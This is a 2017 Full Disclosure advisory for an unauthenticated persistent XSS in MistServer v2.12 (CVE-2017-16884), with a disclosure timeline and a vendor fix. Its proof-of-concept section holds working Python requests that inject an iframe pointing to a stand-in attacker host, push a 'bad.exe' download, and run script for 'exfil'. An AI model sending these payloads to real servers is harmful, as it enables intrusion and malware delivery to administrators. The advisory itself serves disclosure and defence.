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Date: Fri, 1 Dec 2017 00:46:19 -0500
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Mist Server v2.12 Unauthenticated Persistent XSS CVE-2017-16884

[+] Credits: John Page (aka Hyp3rlinX)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MIST-SERVER-v2.12-UNAUTHENTICATED-PERSISTENT-XSS-CVE-2017-16884.txt
[+] ISR: ApparitionSec



Vendor:
=============mistserver.org



Product:
===========
MistServer v2.12


MistServer is a full-featured, next-generation streaming media toolkit
for OTT (internet streaming).



Vulnerability Type:
===================
Unauthenticated Persistent XSS



CVE Reference:
==============
CVE-2017-16884



Security Issue:
================
Unauthenticated remote attackers can inject persistent XSS payloads by
making failed HTTP authentication requests. Attacker supplied payloads
will
get stored in the server logs as failed authentication requests
alerts. Mistserver echoes back the unsanitized payloads in Mist
Servers Web interface
automatically due to automatic refresh of the UI every few seconds,
thereby, executing arbitrary attacker supplied code.



References:
============https://news.mistserver.org/news/78/Stable+release+2.13+now+available%21



Exploit/POC:
=============
import requests

#INJECT IFRAME
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe
src=\'http://ATTACKER-IP\'></iframe>"}}')

#PUSH MALWARE
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe
src=\'http://ATTACKER-IP/bad.exe\'></iframe>"}}')

#EXFIL LOGS
requests.get('http://VICTIM-IP:4242/admin/api?command={"authorize":{"password":"666","username":"<script>alert(document.body.innerHTML)</script>"}}')



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification:  October 19, 2017
Vendor Acknowledgement : October 20, 2017
Vendor Released Fix : November 30, 2017
December 1, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion
in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse
of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The
author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

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